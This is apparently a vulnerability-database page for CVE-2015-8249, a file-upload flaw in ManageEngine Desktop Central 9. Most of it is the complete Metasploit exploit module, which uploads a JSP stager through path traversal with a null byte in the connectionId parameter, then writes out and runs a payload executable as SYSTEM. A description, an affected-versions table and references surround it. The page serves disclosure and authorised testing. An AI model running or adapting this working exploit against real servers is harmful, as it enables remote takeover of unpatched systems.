CVE-2015-8249
Description
The FileUploadServlet class in ManageEngine Desktop Central 9 before build 91093 allows remote attackers to upload and execute arbitrary files via the ConnectionId parameter.
Predictions
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
ManageEngine Desktop Central 9 - FileUploadServlet ConnectionId (Metasploit)
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'nokogiri'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in ManageEngine Desktop Central 9. When
uploading a 7z file, the FileUploadServlet class does not check the user-controlled
ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to
inject a null bye at the end of the value to create a malicious file with an arbitrary
file type, and then place it under a directory that allows server-side scripts to run,
which results in remote code execution under the context of SYSTEM.
Please note that by default, some ManageEngine Desktop Central versions run on port 8020,
but older ones run on port 8040. Also, using this exploit will leave debugging information
produced by FileUploadServlet in file rdslog0.txt.
This exploit was successfully tested on version 9, build 90109 and build 91084.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' =>
[
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249' ],
[ 'CVE', '2015-8249']
],
'Platform' => 'win',
'Targets' =>
[
[ 'ManageEngine Desktop Central 9 on Windows', {} ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "Dec 14 2015",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),
Opt::RPORT(8020)
], self.class)
end
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
jspraw << %Q|int numbytes = data.length();\n|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|
jspraw
end
def get_jsp_stager
exe = generate_payload_exe(code: payload.encoded)
jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"
# pwd: C:\ManageEngine\DesktopCentral_Server\bin
# targeted location: C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf
register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")
{
jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
jsp_name: jsp_fname
}
end
def get_build_number(res)
inputs = res.get_hidden_inputs
# The buildNum input is in the first form
inputs.first['buildNum']
end
def get_html_title(res)
html = res.body
n = ::Nokogiri::HTML(html)
n.at_xpath('//title').text
end
def check
uri = normalize_uri(target_uri.path, '/configurations.do')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
unless res
vprint_error("Connection timed out")
return Exploit::CheckCode::Unknown
end
build_number = get_build_number(res)
vprint_status("Found build number: #{build_number}")
html_title = get_html_title(res)
vprint_status("Found title: #{html_title}")
if build_number <= '91084'
return Exploit::CheckCode::Appears
elsif /ManageEngine Desktop Central/ === html_title
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def upload_jsp(stager_info)
# connectionId is part of the 7z filename
# computerName is part of the 7z filename (but will be used due to the null byte injection)
# customerId is used as a directory name
#
# The intended upload path is:
# C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\server-data\[customerId]\rds\scr-rec\null-computerName-connectionId.7z
# But this will upload to:
# C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf
uri = normalize_uri(target_uri.path, 'fileupload')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => 'application/octet-stream',
'encode_params' => false,
'data' => stager_info[:jsp_payload],
'vars_get' => {
'connectionId' => "#{Rex::Text.rand_text_alpha(1)}/../../../../../jspf/#{stager_info[:jsp_name]}%00",
'resourceId' => Rex::Text.rand_text_alpha(1),
'action' => 'rds_file_upload',
'computerName' => Rex::Text.rand_text_alpha(rand(10)+5),
'customerId' => Rex::Text.rand_text_numeric(rand(10)+5)
}
})
if res.nil?
fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
elsif res && res.code != 200
fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
end
end
def exec_jsp(stager_info)
uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
if res.nil?
fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
elsif res && res.code != 200
fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
end
end
def exploit
print_status("Creating JSP stager")
stager_info = get_jsp_stager
print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")
upload_jsp(stager_info)
print_status("Executing stager...")
exec_jsp(stager_info)
end
end
Metasploit modules
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| manageengine | desktop_central | 9.0 | |
References
- http://packetstormsecurity.com/files/134806/ManageEngine-Desktop-Central-9-FileUploadServlet-ConnectionId.html
- http://www.rapid7.com/db/modules/exploit/windows/http/manageengine_connectionid_write
- https://community.rapid7.com/community/infosec/blog/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249
- https://www.exploit-db.com/exploits/38982/
- http://packetstormsecurity.com/files/134806/ManageEngine-Desktop-Central-9-FileUploadServlet-ConnectionId.html
- http://www.rapid7.com/db/modules/exploit/windows/http/manageengine_connectionid_write
- https://community.rapid7.com/community/infosec/blog/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249
- https://www.exploit-db.com/exploits/38982/
CWEs
CWE-434
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